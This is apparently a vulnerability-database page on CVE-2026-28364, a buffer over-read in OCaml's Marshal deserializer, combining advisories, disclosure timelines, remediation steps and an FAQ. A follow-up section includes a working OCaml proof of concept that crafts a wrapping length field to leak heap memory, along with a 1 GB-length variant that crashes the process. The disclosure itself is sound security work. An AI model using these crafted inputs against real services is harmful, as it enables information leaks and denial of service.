CVE-2026-28364: Buffer Over-Read in OCaml Marshal Deserialization
Summary
A critical buffer over-read vulnerability in OCaml's Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from malicious Marshal data.
Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).
Affected functions: Marshal.fromchannel, Marshal.frombytes, Marshal.fromstring, Stdlib.inputvalue, Pervasives.inputvalue when reading data from an untrusted source.
Vulnerability Attack Vector
Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled. inputvalue should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.
Consequently, this excludes:
well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave
misuses of the OCaml runtime system by the program performing inputvalue, such as setting Debugger.functionplaceholder to the wrong function.
The former issue may be addressed at some point by validating the unmarshaled OCaml value against the expected type, using the functions from module Obj and some kind of run-time type description.
The latter issue is a bug in the program that unmarshals the data.
Fix
OCaml runtime
The OCaml runtime has been hardened with additional bounds checks. An exception is raised on bad input.
Third party libraries
Third party libraries that want to harden their custom Marshal deserialization code can follow the example fix for bigarrays from the standard library. There are new macros in custom.h called Wsizecustomdata and Bsizecustomdata that return the size in words or bytes of the allocated custom destination block. The deserializer needs to ensure it only writes data within those bounds.
This only needs to be done if the library defines a custom type in a C binding, and struct customoperations's deserialize field is not set to NULL or customdeserializedefault, and struct customoperations's fixedlength field is set to NULL or customfixedlengthdefault
Since Marshal.from and inputvalue remain unsafe to use, the fix for the OCaml runtime is released, and we wouldn't attempt to coordinate updating all deserialization functions in the ecosystem.
Timeline
- Nov 4th 2025: Discovery Date: Discovered first in OxCaml - Nov 5th 2025: First Disclosure Date (Jane Street Team): Emailed top maintainers, no response. - Nov 9th 2025: Second Disclosure Date (OCaml Team): Submitted to OCaml/ocaml GitHub Repo as a Security Advisory. - Nov 11th 2025: Emailed OCaml Security Mail List: Submitted to OCaml over email, responded asking for details. - Nov 11th 2025: Third Disclosure (OCaml Security Response Team): Submitted to ocaml/security-advisories GitHub Repo as a Security Advisory. - Dec 16th 2025: Initial patch is developed - Dec 17th 2025: Fuzz testing found further issues - Dec 24th 2025: Final patch for OCaml is developed - Dec 25th 2025: Fuzz testing couldn't find any further issues - Jan 2nd 2026: Patch got reviewed by OCaml maintainers - Jan 4th 2026: Benchmarking of the patch with good results - Jan 6th 2026: Reporter got contacted to confirm - Jan 25th 2026: Further related issues discovered by fuzzing - Feb 17th 2026: fixed OCaml releases are published, security advisory is published
Other sources
An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.frombytes / Marshal.fromstring (and the C API camlinputvaluefromblock).
Root cause
runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:
c / camlinputvalfrombytes, intern.c:1038 / if (ofs + h.headerlen + h.datalen > camlstringlength(str)) camlfailwith("inputvalfromstring: bad length");
h.datalen is fully attacker-controlled (8-byte field read straight from the stream for Intextmagicnumberbig). With datalen >= 2^64 - (ofs + h.headerlen), the sum wraps to a small value and the check passes.
The CVE-2026-28364 fix introduced:
c / intern.c:1043 (added by the fix) / s->internsrcend = s->internsrc + h.datalen; / wraps to a pointer BEFORE the buffer /
internsrcend wraps to a location before internsrc, so every interncheckread() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (internrec) then honors attacker-controlled read lengths (readblock up to Maxwosize bytes) against memory far beyond the input buffer.
The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via camlmarshaldatasize (intern.c:1116-1150):
c return Vallong((headerlen - 16) + datalen); / wraps to 0 / negative /
Marshal.frombytes (marshal.ml:55-62) calls datasizeunsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (headersize + len) passes.
The same unchecked wrap exists in camlinputvaluefrombuffer (intern.c:1080), used by the public C API camlinputvaluefromblock and camlinputvaluefrommalloc - these have no OCaml-side validation at all.
Exploit path
1. Craft 32-byte header: Intextmagicnumberbig + 4 padding bytes + datalen = 2^64 - 16 + numobjects = 0 + whsize = 0. 2. Append a valid object code byte stream (e.g., a "small string" code 0x3F = 31 bytes, or CODESTRING32 with an arbitrary length). 3. Call Marshal.frombytes buf 0 (or Marshal.fromstring). 4. datasizeunsafe returns 0; OCaml-side check passes. 5. C-side check 0 + 32 + (2^64-16) = 16 > len passes (wrapped). 6. internsrcend wraps to buf + 16; all interncheckread pass. 7. internrec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).
Proof of concept
Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.
1. Heap information disclosure (clean, no crash)
ocaml let () = let buf = Bytes.create 40 in Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95); Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf); for i = 4 to 7 do Bytes.set buf i '\000' done; for i = 8 to 15 do Bytes.set buf i '\xff' done; Bytes.set buf 15 (Char.chr 0xf0); ( datalen = 2^64 - 16 ) for i = 16 to 31 do Bytes.set buf i '\000' done; ( numobjects = whsize = 0 ) Bytes.set buf 32 (Char.chr 0x3f); ( small string, len 31 ) for i = 33 to 39 do Bytes.set buf i 'A' done; ( only 7 real bytes follow ) let s : string = Marshal.frombytes buf 0 in Printf.printf "len=%d content=%S\n" (String.length s) s
Output (24 bytes past the 40-byte buffer leaked into the returned string):
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
2. Denial of service (crash)
Same header; stream byte 32 = 0x0A (CODESTRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:
$ ./crash; echo "exit=$?" exit=138 (128 + SIGBUS)
Timeline
- 2026-08-15: report to security@ocaml.org - 2026-08-25: patch developed - 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches - 2026-09-05: release of OCaml 5.5.1 - 2026-09-10: advisory published
— OSV
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
— Microsoft
Several issues have been discovered in the Marshal module:
ANT-2026-K7NTK0FT Stale objcounter across unmarshal calls enables null/freed internobjtable indexing
ANT-2026-2NJYQWEX Custom block size wraparound in CODECUSTOMLEN allocation
ANT-2026-PJC00M7X Unmarshaler accepts forged Closuretag metadata without validation
This is a followup for OSEC-2026-01
Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled. inputvalue should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.
Consequently, this excludes well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave.
Am I affected?
If you use one of the affected bindings Marshal.fromchannel, Marshal.frombytes, Marshal.fromstring, Stdlib.inputvalue (or a wrapper in a library, such as Lwtio.readvalue).
Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).
It is recommended to use Marshal only for communication between trusted processes.
Timeline
- 2026-08-24: vulnerability was found - 2026-08-27: forwarded report to security@ocaml.org - 2026-09-29: fix merged to trunk
— OSV
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
opam/ocamlto a version that resolves this vulnerability.Fixed in 4.14.5 - Upgrade
Upgrade
opam/ocamlto a version that resolves this vulnerability.Fixed in 5.5.2 - Upgrade
Upgrade
opam/ocamlto a version that resolves this vulnerability.Fixed in 4.14.4 - Upgrade
Upgrade
opam/ocamlto a version that resolves this vulnerability.Fixed in 5.5.1 - Upgrade
Upgrade
opam/ocamlto a version that resolves this vulnerability.Fixed in 4.14.3 - Upgrade
Upgrade
opam/ocamlto a version that resolves this vulnerability.Fixed in 5.4.1 - Upgrade
Upgrade
OCamlto a version that resolves this vulnerability.Fixed in 4.14.3 - Upgrade
Upgrade
OCamlto a version that resolves this vulnerability.Fixed in 5.4.1 - Compensating control
Use Marshal only for communication between trusted processes; do not deserialize untrusted input with Marshal.from_channel, Marshal.from_bytes, Marshal.from_string, Stdlib.input_value, or Pervasives.input_value.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-28364?
CVE-2026-28364 is considered a high severity vulnerability due to its potential for remote code execution.
How do I fix CVE-2026-28364?
To fix CVE-2026-28364, upgrade to OCaml version 4.14.3 or 5.4.1 or later.
What type of vulnerability is CVE-2026-28364?
CVE-2026-28364 is a buffer over-read vulnerability found in the Marshal deserialization process.
What software versions are affected by CVE-2026-28364?
CVE-2026-28364 affects OCaml versions prior to 4.14.3 and between 5.0.0 and 5.4.0 inclusive.
Can CVE-2026-28364 lead to data breaches?
Yes, CVE-2026-28364 can lead to data breaches through remote code execution if not addressed.